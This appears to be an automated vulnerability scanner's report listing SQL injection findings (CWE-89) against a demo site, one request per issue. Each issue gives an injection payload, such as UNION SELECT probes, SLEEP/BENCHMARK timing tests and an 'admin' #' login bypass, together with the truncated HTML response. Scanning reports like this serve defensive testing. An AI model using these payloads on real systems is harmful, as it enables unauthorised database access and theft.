iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1363
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1=0 AND '%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1364
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=
device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/
head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> 
window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start 
of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://
static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> 
</script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <
link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbW
FnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIo
qIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary hints
on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1365
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1*56
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1366
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or ""&"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1367
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),4
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1368
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1369
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)
+CHAR(88)+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1370
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1371
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 2#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1372
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or SLEEP(5)#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1373
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# &&SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1374Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' #
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1375
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# @@variable
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1376
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(
88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1377
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
